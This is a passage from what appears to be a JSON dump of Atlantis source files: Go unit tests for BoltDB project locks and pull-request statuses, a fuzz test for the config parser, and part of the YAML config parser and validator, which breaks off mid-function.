repo and pull\")\n\t{\n\t\t_, err := b.UnlockByPull(project.RepoFullName, pullNum)\n\t\tOk(t, err)\n\t\tls, err := b.List()\n\t\tOk(t, err)\n\t\tEquals(t, 0, len(ls))\n\t}\n}\n\nfunc TestUnlockByPullAfterUnlock(t *testing.T) {\n\tt.Log(\"after locking and unlocking, UnlockByPull should be successful\")\n\tdb, b := newTestDB()\n\tdefer cleanupDB(db)\n\t_, _, err := b.TryLock(lock)\n\tOk(t, err)\n\t_, err = b.Unlock(project, workspace)\n\tOk(t, err)\n\n\t_, err = b.UnlockByPull(project.RepoFullName, pullNum)\n\tOk(t, err)\n\tls, err := b.List()\n\tOk(t, err)\n\tEquals(t, 0, len(ls))\n}\n\nfunc TestUnlockByPullMatching(t *testing.T) {\n\tt.Log(\"UnlockByPull should delete all locks in that repo and pull num\")\n\tdb, b := newTestDB()\n\tdefer cleanupDB(db)\n\t_, _, err := b.TryLock(lock)\n\tOk(t, err)\n\n\t// add additional locks with the same repo and pull num but different paths/workspaces\n\tnew1 := lock\n\tnew1.Project.Path = \"dif/path\"\n\t_, _, err = b.TryLock(new1)\n\tOk(t, err)\n\tnew2 := lock\n\tnew2.Workspace = \"new-workspace\"\n\t_, _, err = b.TryLock(new2)\n\tOk(t, err)\n\n\t// there should now be 3\n\tls, err := b.List()\n\tOk(t, err)\n\tEquals(t, 3, len(ls))\n\n\t// should all be unlocked\n\t_, err = b.UnlockByPull(project.RepoFullName, pullNum)\n\tOk(t, err)\n\tls, err = b.List()\n\tOk(t, err)\n\tEquals(t, 0, len(ls))\n}\n\nfunc TestGetLockNotThere(t *testing.T) {\n\tt.Log(\"getting a lock that doesn't exist should return a nil pointer\")\n\tdb, b := newTestDB()\n\tdefer cleanupDB(db)\n\tl, err := b.GetLock(project, workspace)\n\tOk(t, err)\n\tEquals(t, (*models.ProjectLock)(nil), l)\n}\n\nfunc TestGetLock(t *testing.T) {\n\tt.Log(\"getting a lock should return the lock\")\n\tdb, b := newTestDB()\n\tdefer cleanupDB(db)\n\t_, _, err := b.TryLock(lock)\n\tOk(t, err)\n\n\tl, err := b.GetLock(project, workspace)\n\tOk(t, err)\n\t// can't compare against time so doing each field\n\tEquals(t, lock.Project, l.Project)\n\tEquals(t, lock.Workspace, l.Workspace)\n\tEquals(t, lock.Pull, l.Pull)\n\tEquals(t, lock.User, l.User)\n}\n\n// Test we can create a status and then getCommandLock it.\nfunc TestPullStatus_UpdateGet(t *testing.T) {\n\tb := newTestDB2(t)\n\n\tpull := models.PullRequest{\n\t\tNum:        1,\n\t\tHeadCommit: \"sha\",\n\t\tURL:        \"url\",\n\t\tHeadBranch: \"head\",\n\t\tBaseBranch: \"base\",\n\t\tAuthor:     \"lkysow\",\n\t\tState:      models.OpenPullState,\n\t\tBaseRepo: models.Repo{\n\t\t\tFullName:          \"runatlantis/atlantis\",\n\t\t\tOwner:             \"runatlantis\",\n\t\t\tName:              \"atlantis\",\n\t\t\tCloneURL:          \"clone-url\",\n\t\t\tSanitizedCloneURL: \"clone-url\",\n\t\t\tVCSHost: models.VCSHost{\n\t\t\t\tHostname: \"github.com\",\n\t\t\t\tType:     models.Github,\n\t\t\t},\n\t\t},\n\t}\n\tstatus, err := b.UpdatePullWithResults(\n\t\tpull,\n\t\t[]command.ProjectResult{\n\t\t\t{\n\t\t\t\tCommand:    command.Plan,\n\t\t\t\tRepoRelDir: \".\",\n\t\t\t\tWorkspace:  \"default\",\n\t\t\t\tProjectCommandOutput: command.ProjectCommandOutput{\n\t\t\t\t\tFailure: \"failure\",\n\t\t\t\t},\n\t\t\t},\n\t\t})\n\tOk(t, err)\n\n\tmaybeStatus, err := b.GetPullStatus(pull)\n\tOk(t, err)\n\tEquals(t, pull, maybeStatus.Pull) // nolint: staticcheck\n\tEquals(t, []models.ProjectStatus{\n\t\t{\n\t\t\tWorkspace:   \"default\",\n\t\t\tRepoRelDir:  \".\",\n\t\t\tProjectName: \"\",\n\t\t\tStatus:      models.ErroredPlanStatus,\n\t\t},\n\t}, status.Projects)\n\tb.Close()\n}\n\n// Test we can create a status, delete it, and then we shouldn't be able to getCommandLock\n// it.\nfunc TestPullStatus_UpdateDeleteGet(t *testing.T) {\n\tb := newTestDB2(t)\n\n\tpull := models.PullRequest{\n\t\tNum:        1,\n\t\tHeadCommit: \"sha\",\n\t\tURL:        \"url\",\n\t\tHeadBranch: \"head\",\n\t\tBaseBranch: \"base\",\n\t\tAuthor:     \"lkysow\",\n\t\tState:      models.OpenPullState,\n\t\tBaseRepo: models.Repo{\n\t\t\tFullName:          \"runatlantis/atlantis\",\n\t\t\tOwner:             \"runatlantis\",\n\t\t\tName:              \"atlantis\",\n\t\t\tCloneURL:          \"clone-url\",\n\t\t\tSanitizedCloneURL: \"clone-url\",\n\t\t\tVCSHost: models.VCSHost{\n\t\t\t\tHostname: \"github.com\",\n\t\t\t\tType:     models.Github,\n\t\t\t},\n\t\t},\n\t}\n\t_, err := b.UpdatePullWithResults(\n\t\tpull,\n\t\t[]command.ProjectResult{\n\t\t\t{\n\t\t\t\tRepoRelDir: \".\",\n\t\t\t\tWorkspace:  \"default\",\n\t\t\t\tProjectCommandOutput: command.ProjectCommandOutput{\n\t\t\t\t\tFailure: \"failure\",\n\t\t\t\t},\n\t\t\t},\n\t\t})\n\tOk(t, err)\n\n\terr = b.DeletePullStatus(pull)\n\tOk(t, err)\n\n\tmaybeStatus, err := b.GetPullStatus(pull)\n\tOk(t, err)\n\tAssert(t, maybeStatus == nil, \"exp nil\")\n\tb.Close()\n}\n\n// Test we can create a status, update a specific project's status within that\n// pull status, and when we getCommandLock all the project statuses, that specific project\n// should be updated.\nfunc TestPullStatus_UpdateProject(t *testing.T) {\n\tb := newTestDB2(t)\n\n\tpull := models.PullRequest{\n\t\tNum:        1,\n\t\tHeadCommit: \"sha\",\n\t\tURL:        \"url\",\n\t\tHeadBranch: \"head\",\n\t\tBaseBranch: \"base\",\n\t\tAuthor:     \"lkysow\",\n\t\tState:      models.OpenPullState,\n\t\tBaseRepo: models.Repo{\n\t\t\tFullName:          \"runatlantis/atlantis\",\n\t\t\tOwner:             \"runatlantis\",\n\t\t\tName:              \"atlantis\",\n\t\t\tCloneURL:          \"clone-url\",\n\t\t\tSanitizedCloneURL: \"clone-url\",\n\t\t\tVCSHost: models.VCSHost{\n\t\t\t\tHostname: \"github.com\",\n\t\t\t\tType:     models.Github,\n\t\t\t},\n\t\t},\n\t}\n\t_, err := b.UpdatePullWithResults(\n\t\tpull,\n\t\t[]command.ProjectResult{\n\t\t\t{\n\t\t\t\tRepoRelDir: \".\",\n\t\t\t\tWorkspace:  \"default\",\n\t\t\t\tProjectCommandOutput: command.ProjectCommandOutput{\n\t\t\t\t\tFailure: \"failure\",\n\t\t\t\t},\n\t\t\t},\n\t\t\t{\n\t\t\t\tRepoRelDir: \".\",\n\t\t\t\tWorkspace:  \"staging\",\n\t\t\t\tProjectCommandOutput: command.ProjectCommandOutput{\n\t\t\t\t\tApplySuccess: \"success!\",\n\t\t\t\t},\n\t\t\t},\n\t\t})\n\tOk(t, err)\n\n\terr = b.UpdateProjectStatus(pull, \"default\", \".\", models.DiscardedPlanStatus)\n\tOk(t, err)\n\n\tstatus, err := b.GetPullStatus(pull)\n\tOk(t, err)\n\tEquals(t, pull, status.Pull) // nolint: staticcheck\n\tEquals(t, []models.ProjectStatus{\n\t\t{\n\t\t\tWorkspace:   \"default\",\n\t\t\tRepoRelDir:  \".\",\n\t\t\tProjectName: \"\",\n\t\t\tStatus:      models.DiscardedPlanStatus,\n\t\t},\n\t\t{\n\t\t\tWorkspace:   \"staging\",\n\t\t\tRepoRelDir:  \".\",\n\t\t\tProjectName: \"\",\n\t\t\tStatus:      models.AppliedPlanStatus,\n\t\t},\n\t}, status.Projects) // nolint: staticcheck\n\tb.Close()\n}\n\n// Test that if we update an existing pull status and our new status is for a\n// different HeadSHA, that we just overwrite the old status.\nfunc TestPullStatus_UpdateNewCommit(t *testing.T) {\n\tb := newTestDB2(t)\n\n\tpull := models.PullRequest{\n\t\tNum:        1,\n\t\tHeadCommit: \"sha\",\n\t\tURL:        \"url\",\n\t\tHeadBranch: \"head\",\n\t\tBaseBranch: \"base\",\n\t\tAuthor:     \"lkysow\",\n\t\tState:      models.OpenPullState,\n\t\tBaseRepo: models.Repo{\n\t\t\tFullName:          \"runatlantis/atlantis\",\n\t\t\tOwner:             \"runatlantis\",\n\t\t\tName:              \"atlantis\",\n\t\t\tCloneURL:          \"clone-url\",\n\t\t\tSanitizedCloneURL: \"clone-url\",\n\t\t\tVCSHost: models.VCSHost{\n\t\t\t\tHostname: \"github.com\",\n\t\t\t\tType:     models.Github,\n\t\t\t},\n\t\t},\n\t}\n\t_, err := b.UpdatePullWithResults(\n\t\tpull,\n\t\t[]command.ProjectResult{\n\t\t\t{\n\t\t\t\tRepoRelDir: \".\",\n\t\t\t\tWorkspace:  \"default\",\n\t\t\t\tProjectCommandOutput: command.ProjectCommandOutput{\n\t\t\t\t\tFailure: \"failure\",\n\t\t\t\t},\n\t\t\t},\n\t\t})\n\tOk(t, err)\n\n\tpull.HeadCommit = \"newsha\"\n\tstatus, err := b.UpdatePullWithResults(pull,\n\t\t[]command.ProjectResult{\n\t\t\t{\n\t\t\t\tRepoRelDir: \".\",\n\t\t\t\tWorkspace:  \"staging\",\n\t\t\t\tProjectCommandOutput: command.ProjectCommandOutput{\n\t\t\t\t\tApplySuccess: \"success!\",\n\t\t\t\t},\n\t\t\t},\n\t\t})\n\n\tOk(t, err)\n\tEquals(t, 1, len(status.Projects))\n\n\tmaybeStatus, err := b.GetPullStatus(pull)\n\tOk(t, err)\n\tEquals(t, pull, maybeStatus.Pull)\n\tEquals(t, []models.ProjectStatus{\n\t\t{\n\t\t\tWorkspace:   \"staging\",\n\t\t\tRepoRelDir:  \".\",\n\t\t\tProjectName: \"\",\n\t\t\tStatus:      models.AppliedPlanStatus,\n\t\t},\n\t}, maybeStatus.Projects)\n\tb.Close()\n}\n\n// Test that if we update an existing pull status via Apply and our new status is for a\n// the same commit, that we merge the statuses.\nfunc TestPullStatus_UpdateMerge_Apply(t *testing.T) {\n\tb := newTestDB2(t)\n\n\tpull := models.PullRequest{\n\t\tNum:        1,\n\t\tHeadCommit: \"sha\",\n\t\tURL:        \"url\",\n\t\tHeadBranch: \"head\",\n\t\tBaseBranch: \"base\",\n\t\tAuthor:     \"lkysow\",\n\t\tState:      models.OpenPullState,\n\t\tBaseRepo: models.Repo{\n\t\t\tFullName:          \"runatlantis/atlantis\",\n\t\t\tOwner:             \"runatlantis\",\n\t\t\tName:              \"atlantis\",\n\t\t\tCloneURL:          \"clone-url\",\n\t\t\tSanitizedCloneURL: \"clone-url\",\n\t\t\tVCSHost: models.VCSHost{\n\t\t\t\tHostname: \"github.com\",\n\t\t\t\tType:     models.Github,\n\t\t\t},\n\t\t},\n\t}\n\t_, err := b.UpdatePullWithResults(\n\t\tpull,\n\t\t[]command.ProjectResult{\n\t\t\t{\n\t\t\t\tCommand:    command.Plan,\n\t\t\t\tRepoRelDir: \"mergeme\",\n\t\t\t\tWorkspace:  \"default\",\n\t\t\t\tProjectCommandOutput: command.ProjectCommandOutput{\n\t\t\t\t\tFailure: \"failure\",\n\t\t\t\t},\n\t\t\t},\n\t\t\t{\n\t\t\t\tCommand:     command.Plan,\n\t\t\t\tRepoRelDir:  \"projectname\",\n\t\t\t\tWorkspace:   \"default\",\n\t\t\t\tProjectName: \"projectname\",\n\t\t\t\tProjectCommandOutput: command.ProjectCommandOutput{\n\t\t\t\t\tFailure: \"failure\",\n\t\t\t\t},\n\t\t\t},\n\t\t\t{\n\t\t\t\tCommand:    command.Plan,\n\t\t\t\tRepoRelDir: \"staythesame\",\n\t\t\t\tWorkspace:  \"default\",\n\t\t\t\tProjectCommandOutput: command.ProjectCommandOutput{\n\t\t\t\t\tPlanSuccess: &models.PlanSuccess{\n\t\t\t\t\t\tTerraformOutput: \"tf out\",\n\t\t\t\t\t\tLockURL:         \"lock-url\",\n\t\t\t\t\t\tRePlanCmd:       \"plan command\",\n\t\t\t\t\t\tApplyCmd:        \"apply command\",\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t})\n\tOk(t, err)\n\n\tupdateStatus, err := b.UpdatePullWithResults(pull,\n\t\t[]command.ProjectResult{\n\t\t\t{\n\t\t\t\tCommand:    command.Apply,\n\t\t\t\tRepoRelDir: \"mergeme\",\n\t\t\t\tWorkspace:  \"default\",\n\t\t\t\tProjectCommandOutput: command.ProjectCommandOutput{\n\t\t\t\t\tApplySuccess: \"applied!\",\n\t\t\t\t},\n\t\t\t},\n\t\t\t{\n\t\t\t\tCommand:     command.Apply,\n\t\t\t\tRepoRelDir:  \"projectname\",\n\t\t\t\tWorkspace:   \"default\",\n\t\t\t\tProjectName: \"projectname\",\n\t\t\t\tProjectCommandOutput: command.ProjectCommandOutput{\n\t\t\t\t\tError: errors.New(\"apply error\"),\n\t\t\t\t},\n\t\t\t},\n\t\t\t{\n\t\t\t\tCommand:    command.Apply,\n\t\t\t\tRepoRelDir: \"newresult\",\n\t\t\t\tWorkspace:  \"default\",\n\t\t\t\tProjectCommandOutput: command.ProjectCommandOutput{\n\t\t\t\t\tApplySuccess: \"success!\",\n\t\t\t\t},\n\t\t\t},\n\t\t})\n\tOk(t, err)\n\n\tgetStatus, err := b.GetPullStatus(pull)\n\tOk(t, err)\n\n\t// Test both the pull state returned from the update call *and* the getCommandLock\n\t// call.\n\tfor _, s := range []models.PullStatus{updateStatus, *getStatus} {\n\t\tEquals(t, pull, s.Pull)\n\t\tEquals(t, []models.ProjectStatus{\n\t\t\t{\n\t\t\t\tRepoRelDir: \"mergeme\",\n\t\t\t\tWorkspace:  \"default\",\n\t\t\t\tStatus:     models.AppliedPlanStatus,\n\t\t\t},\n\t\t\t{\n\t\t\t\tRepoRelDir:  \"projectname\",\n\t\t\t\tWorkspace:   \"default\",\n\t\t\t\tProjectName: \"projectname\",\n\t\t\t\tStatus:      models.ErroredApplyStatus,\n\t\t\t},\n\t\t\t{\n\t\t\t\tRepoRelDir: \"staythesame\",\n\t\t\t\tWorkspace:  \"default\",\n\t\t\t\tStatus:     models.PlannedPlanStatus,\n\t\t\t},\n\t\t\t{\n\t\t\t\tRepoRelDir: \"newresult\",\n\t\t\t\tWorkspace:  \"default\",\n\t\t\t\tStatus:     models.AppliedPlanStatus,\n\t\t\t},\n\t\t}, updateStatus.Projects)\n\t}\n\tb.Close()\n}\n\n// Test that if we update one existing policy status via approve_policies and our new status is for a\n// the same commit, that we merge the statuses.\nfunc TestPullStatus_UpdateMerge_ApprovePolicies(t *testing.T) {\n\tb := newTestDB2(t)\n\n\tpull := models.PullRequest{\n\t\tNum:        1,\n\t\tHeadCommit: \"sha\",\n\t\tURL:        \"url\",\n\t\tHeadBranch: \"head\",\n\t\tBaseBranch: \"base\",\n\t\tAuthor:     \"lkysow\",\n\t\tState:      models.OpenPullState,\n\t\tBaseRepo: models.Repo{\n\t\t\tFullName:          \"runatlantis/atlantis\",\n\t\t\tOwner:             \"runatlantis\",\n\t\t\tName:              \"atlantis\",\n\t\t\tCloneURL:          \"clone-url\",\n\t\t\tSanitizedCloneURL: \"clone-url\",\n\t\t\tVCSHost: models.VCSHost{\n\t\t\t\tHostname: \"github.com\",\n\t\t\t\tType:     models.Github,\n\t\t\t},\n\t\t},\n\t}\n\t_, err := b.UpdatePullWithResults(\n\t\tpull,\n\t\t[]command.ProjectResult{\n\t\t\t{\n\t\t\t\tCommand:    command.PolicyCheck,\n\t\t\t\tRepoRelDir: \"mergeme\",\n\t\t\t\tWorkspace:  \"default\",\n\t\t\t\tProjectCommandOutput: command.ProjectCommandOutput{\n\t\t\t\t\tFailure: \"policy failure\",\n\t\t\t\t\tPolicyCheckResults: &models.PolicyCheckResults{\n\t\t\t\t\t\tPolicySetResults: []models.PolicySetResult{\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tPolicySetName: \"policy1\",\n\t\t\t\t\t\t\t\tReqApprovals:  1,\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\t{\n\t\t\t\tCommand:     command.PolicyCheck,\n\t\t\t\tRepoRelDir:  \"projectname\",\n\t\t\t\tWorkspace:   \"default\",\n\t\t\t\tProjectName: \"projectname\",\n\t\t\t\tProjectCommandOutput: command.ProjectCommandOutput{\n\t\t\t\t\tFailure: \"policy failure\",\n\t\t\t\t\tPolicyCheckResults: &models.PolicyCheckResults{\n\t\t\t\t\t\tPolicySetResults: []models.PolicySetResult{\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tPolicySetName: \"policy1\",\n\t\t\t\t\t\t\t\tReqApprovals:  1,\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t})\n\tOk(t, err)\n\n\tupdateStatus, err := b.UpdatePullWithResults(pull,\n\t\t[]command.ProjectResult{\n\t\t\t{\n\t\t\t\tCommand:    command.ApprovePolicies,\n\t\t\t\tRepoRelDir: \"mergeme\",\n\t\t\t\tWorkspace:  \"default\",\n\t\t\t\tProjectCommandOutput: command.ProjectCommandOutput{\n\t\t\t\t\tPolicyCheckResults: &models.PolicyCheckResults{\n\t\t\t\t\t\tPolicySetResults: []models.PolicySetResult{\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tPolicySetName: \"policy1\",\n\t\t\t\t\t\t\t\tReqApprovals:  1,\n\t\t\t\t\t\t\t\tCurApprovals:  1,\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t})\n\tOk(t, err)\n\n\tgetStatus, err := b.GetPullStatus(pull)\n\tOk(t, err)\n\n\t// Test both the pull state returned from the update call *and* the getCommandLock\n\t// call.\n\tfor _, s := range []models.PullStatus{updateStatus, *getStatus} {\n\t\tEquals(t, pull, s.Pull)\n\t\tEquals(t, []models.ProjectStatus{\n\t\t\t{\n\t\t\t\tRepoRelDir: \"mergeme\",\n\t\t\t\tWorkspace:  \"default\",\n\t\t\t\tStatus:     models.PassedPolicyCheckStatus,\n\t\t\t\tPolicyStatus: []models.PolicySetStatus{\n\t\t\t\t\t{\n\t\t\t\t\t\tPolicySetName: \"policy1\",\n\t\t\t\t\t\tApprovals:     1,\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\t{\n\t\t\t\tRepoRelDir:  \"projectname\",\n\t\t\t\tWorkspace:   \"default\",\n\t\t\t\tProjectName: \"projectname\",\n\t\t\t\tStatus:      models.ErroredPolicyCheckStatus,\n\t\t\t\tPolicyStatus: []models.PolicySetStatus{\n\t\t\t\t\t{\n\t\t\t\t\t\tPolicySetName: \"policy1\",\n\t\t\t\t\t\tApprovals:     0,\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t}, updateStatus.Projects)\n\t}\n\tb.Close()\n}\n\n// newTestDB returns a TestDB using a temporary path.\nfunc newTestDB() (*bolt.DB, *boltdb.BoltDB) {\n\t// Retrieve a temporary path.\n\tf, err := os.CreateTemp(\"\", \"\")\n\tif err != nil {\n\t\tpanic(fmt.Errorf(\"failed to create temp file: %w\", err))\n\t}\n\tpath := f.Name()\n\tf.Close() // nolint: errcheck\n\n\t// Open the database.\n\tboltDB, err := bolt.Open(path, 0600, nil)\n\tif err != nil {\n\t\tpanic(fmt.Errorf(\"could not start bolt DB: %w\", err))\n\t}\n\tif err := boltDB.Update(func(tx *bolt.Tx) error {\n\t\tif _, err := tx.CreateBucketIfNotExists([]byte(lockBucket)); err != nil {\n\t\t\treturn fmt.Errorf(\"failed to create bucket: %w\", err)\n\t\t}\n\t\tif _, err := tx.CreateBucketIfNotExists([]byte(configBucket)); err != nil {\n\t\t\treturn fmt.Errorf(\"failed to create bucket: %w\", err)\n\t\t}\n\t\treturn nil\n\t}); err != nil {\n\t\tpanic(fmt.Errorf(\"could not create bucket: %w\", err))\n\t}\n\tb, _ := boltdb.NewWithDB(boltDB, lockBucket, configBucket)\n\treturn boltDB, b\n}\n\nfunc newTestDB2(t *testing.T) *boltdb.BoltDB {\n\ttmp := t.TempDir()\n\tboltDB, err := boltdb.New(tmp)\n\tOk(t, err)\n\treturn boltDB\n}\n\nfunc cleanupDB(db *bolt.DB) {\n\tdb.Close()           // nolint: errcheck\n\tos.Remove(db.Path()) // nolint: errcheck\n}\n"
  },
  {
    "path": "server/core/config/cfgfuzz/fuzz_test.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\n// Package cfgfuzz contains fuzz tests for the Atlantis config parser.\n// It lives in a dedicated subdirectory so that compile_native_go_fuzzer\n// only needs to compile this package and its direct imports, avoiding\n// the test-only imports in the parent package (e.g. parser_validator_test.go).\npackage cfgfuzz\n\nimport (\n\t\"testing\"\n\n\t\"github.com/runatlantis/atlantis/server/core/config\"\n\t\"github.com/runatlantis/atlantis/server/core/config/valid\"\n)\n\nfunc FuzzParseRepoCfgData(f *testing.F) {\n\tf.Add([]byte(`version: 3\nprojects:\n- dir: .\n`))\n\tf.Add([]byte(`version: 3\nautomerge: true\nprojects:\n- dir: .\n  workspace: default\n  autoplan:\n    when_modified: [\"*.tf\"]\n    enabled: true\n`))\n\n\tpv := config.ParserValidator{}\n\tglobalCfg := valid.NewGlobalCfgFromArgs(valid.GlobalCfgArgs{AllowAllRepoSettings: true})\n\n\tf.Fuzz(func(t *testing.T, data []byte) {\n\t\t_, _ = pv.ParseRepoCfgData(data, globalCfg, \"github.com/test/repo\", \"main\")\n\t})\n}\n"
  },
  {
    "path": "server/core/config/parser_validator.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage config\n\nimport (\n\t\"bytes\"\n\t\"encoding/json\"\n\t\"errors\"\n\t\"fmt\"\n\t\"io\"\n\t\"os\"\n\t\"path/filepath\"\n\t\"strings\"\n\n\t\"github.com/bmatcuk/doublestar/v4\"\n\tvalidation \"github.com/go-ozzo/ozzo-validation\"\n\tshlex \"github.com/google/shlex\"\n\n\t\"github.com/runatlantis/atlantis/server/core/config/raw\"\n\t\"github.com/runatlantis/atlantis/server/core/config/valid\"\n\tyaml \"gopkg.in/yaml.v3\"\n)\n\n// ParserValidator parses and validates server-side repo config files and\n// repo-level atlantis.yaml files.\ntype ParserValidator struct{}\n\n// HasRepoCfg returns true if there is a repo config (atlantis.yaml) file\n// for the repo at absRepoDir.\n// Returns an error if for some reason it can't read that directory.\nfunc (p *ParserValidator) HasRepoCfg(absRepoDir, repoConfigFile string) (bool, error) {\n\t// Checks for a config file with an invalid extension (atlantis.yml)\n\tconst invalidExtensionFilename = \"atlantis.yml\"\n\t_, err := os.Stat(p.repoCfgPath(absRepoDir, invalidExtensionFilename))\n\tif err == nil {\n\t\treturn false, fmt.Errorf(\"found %q as config file; rename using the .yaml extension\", invalidExtensionFilename)\n\t}\n\n\t_, err = os.Stat(p.repoCfgPath(absRepoDir, repoConfigFile))\n\tif errors.Is(err, os.ErrNotExist) {\n\t\treturn false, nil\n\t}\n\treturn err == nil, err\n}\n\n// ParseRepoCfg returns the parsed and validated atlantis.yaml config for the\n// repo at absRepoDir.\n// If there was no config file, it will return an os.IsNotExist(error).\nfunc (p *ParserValidator) ParseRepoCfg(absRepoDir string, globalCfg valid.GlobalCfg, repoID string, branch string) (valid.RepoCfg, error) {\n\trepoConfigFile := globalCfg.RepoConfigFile(repoID)\n\tconfigFile := p.repoCfgPath(absRepoDir, repoConfigFile)\n\tconfigData, err := os.ReadFile(configFile) // nolint: gosec\n\n\tif err != nil {\n\t\treturn valid.RepoCfg{}, fmt.Errorf(\"unable to read %s file: %w\", repoConfigFile, err)\n\t}\n\n\t// Parse YAML first to expand glob patterns before validation\n\tvar rawConfig raw.RepoCfg\n\tdecoder := yaml.NewDecoder(bytes.NewReader(configData))\n\tdecoder.KnownFields(true)\n\terr = decoder.Decode(&rawConfig)\n\tif err != nil && !errors.Is(err, io.EOF) {\n\t\treturn valid.RepoCfg{}, err\n\t}\n\n\t// Expand glob patterns in project dirs\n\texpandedProjects, err := p.expandProjectGlobs(absRepoDir, rawConfig.Projects)\n\tif err != nil {\n\t\treturn valid.RepoCfg{}, err\n\t}\n\trawConfig.Projects = expandedProjects\n\n\treturn p.parseRawRepoCfg(rawConfig, globalCfg, repoID, branch)\n}\n\n// ParseRepoCfgData parses repo config from raw YAML bytes. Note that glob patterns\n// in project dirs are NOT expanded here because we don't have access to the repo\n// directory. This method is primarily used for skip-clone scenarios.\nfunc (p *ParserValidator) ParseRepoCfgData(repoCfgData []byte, globalCfg valid.GlobalCfg, repoID string, branch string) (valid.RepoCfg, error) {\n\tvar rawConfig raw.RepoCfg\n\n\tdecoder := yaml.NewDecoder(bytes.NewReader(repoCfgData))\n\tdecoder.KnownFields(true)\n\n\terr := decoder.Decode(&rawConfig)\n\tif err != nil && !errors.Is(err, io.EOF) {\n\t\treturn valid.RepoCfg{}, err\n\t}\n\n\treturn p.parseRawRepoCfg(rawConfig, globalCfg, repoID, branch)\n}\n\n// parseRawRepoCfg validates and processes a raw config into a valid config.\n// This is the shared logic between ParseRepoCfg and ParseRepoCfgData.\nfunc (p *ParserValidator) parseRawRepoCfg(rawConfig raw.RepoCfg, globalCfg valid.GlobalCfg, repoID string, branch string) (valid.RepoCfg, error) {\n\t// Set ErrorTag to yaml so it uses the YAML field names in error messages.\n\tvalidation.ErrorTag = \"yaml\"\n\tif err := rawConfig.Validate(); err != nil {\n\t\treturn valid.RepoCfg{}, err\n\t}\n\n\tvalidConfig := rawConfig.ToValid()\n\n\t// Filter the repo config's projects based on pull request's branch. Only\n\t// keep projects that either:\n\t//\n\t//   - Have no branch regex defined at all (i.e. match all branches), or\n\t//   - Those that have branch regex matching the PR's base branch.\n\t//\n\ti := 0\n\tfor _, p := range validConfig.Projects {\n\t\tif branch == \"\" || p.BranchRegex == nil || p.BranchRegex.MatchString(branch) {\n\t\t\tvalidConfig.Projects[i] = p\n\t\t\ti++\n\t\t}\n\t}\n\tvalidConfig.Projects = validConfig.Projects[:i]\n\n\t// We do the project name validation after we get the valid config because\n\t// we need the defaults of dir and workspace to be populated.\n\tif err := p.validateProjectNames(validConfig); err != nil {\n\t\treturn valid.RepoCfg{}, err\n\t}\n\tif validConfig.Version == 2 {\n\t\t// The only difference between v2 and v3 is how we parse custom run\n\t\t// commands.\n\t\tif err := p.applyLegacyShellParsing(&validConfig); err != nil {\n\t\t\treturn validConfig, err\n\t\t}\n\t}\n\n\terr := globalCfg.ValidateRepoCfg(validConfig, repoID)\n\treturn validConfig, err\n}\n\n// ParseGlobalCfg returns the parsed and validated global repo config file at\n// configFile. defaultCfg will be merged into the parsed config.\n// If there is no file at configFile it will return an error.\nfunc (p *ParserValidator) ParseGlobalCfg(configFile string, defaultCfg valid.GlobalCfg) (valid.GlobalCfg, error) {\n\tconfigData, err := os.ReadFile(configFile) // nolint: gosec\n\tif err != nil {\n\t\treturn valid.GlobalCfg{}, fmt.Errorf(\"unable to read %s file: %w\", configFile, err)\n\t}\n\tif len(configData) == 0 {\n\t\treturn valid.GlobalCfg{}, fmt.Errorf(\"file %s was empty\", configFile)\n\t}\n\n\tvar rawCfg raw.GlobalCfg\n\n\tdecoder := yaml.NewDecoder(bytes.NewReader(configData))\n\tdecoder.KnownFields(true)\n\n\terr = decoder.Decode(&rawCfg)\n\tif err != nil && !errors.Is(err, io.EOF) {\n\t\treturn valid.GlobalCfg{}, err\n\t}\n\n\treturn p.validateRawGlobalCfg(rawCfg, defaultCfg, \"yaml\")\n}\n\n// ParseGlobalCfgJSON parses a json string cfgJSON into global config.\nfunc (p *ParserValidator) ParseGlobalCfgJSON(cfgJSON string, defaultCfg valid.GlobalCfg) (valid.GlobalCfg, error) {\n\tvar rawCfg raw.GlobalCfg\n\terr := json.Unmarshal([]byte(cfgJSON), &rawCfg)\n\tif err != nil {\n\t\treturn valid.GlobalCfg{}, err\n\t}\n\treturn p.validateRawGlobalCfg(rawCfg, defaultCfg, \"json\")\n}\n\nfunc (p *ParserValidator) validateRawGlobalCfg(rawCfg raw.GlobalCfg, defaultCfg valid.GlobalCfg, errTag string) (valid.GlobalCfg, error) {\n\t// Setting ErrorTag means our errors will use the field names defined in\n\t// the struct tags for yaml/json.\n\tvalidation.ErrorTag = errTag\n\tif err := rawCfg.Validate(); err != nil {\n\t\treturn valid.GlobalCfg{}, err\n\t}\n\n\tvalidCfg := rawCfg.ToValid(defaultCfg)\n\treturn validCfg, nil\n}\n\nfunc (p *ParserValidator) repoCfgPath(repoDir, cfgFilename string) string {\n\treturn filepath.Join(repoDir, cfgFilename)\n}\n\nfunc (p *ParserValidator) validateProjectNames(config valid.RepoCfg) error {\n\t// First, validate that all names are unique.\n\tseen := make(map[string]bool)\n\tfor _, project := range config.Projects {\n\t\tif project.Name != nil {\n\t\t\tname := *project.Name\n\t\t\texists := seen[name]\n\t\t\tif exists {\n\t\t\t\treturn fmt.Errorf(\"found two or more projects with name %q; project names must be unique\", name)\n\t\t\t}\n\t\t\tseen[name] = true\n\t\t}\n\t}\n\n\t// Next, validate that all dir/workspace combos are named.\n\t// This map's keys will be 'dir/workspace' and the values are the names for\n\t// that project.\n\tdirWorkspaceToNames := make(map[string][]string)\n\tfor _, project := range config.Projects {\n\t\tkey := fmt.Sprintf(\"%s/%s\", project.Dir, project.Workspace)\n\t\tnames := dirWorkspaceToNames[key]\n\n\t\t// If there is already a project with this dir/workspace then this\n\t\t// project must have a name.\n\t\tif len(names) 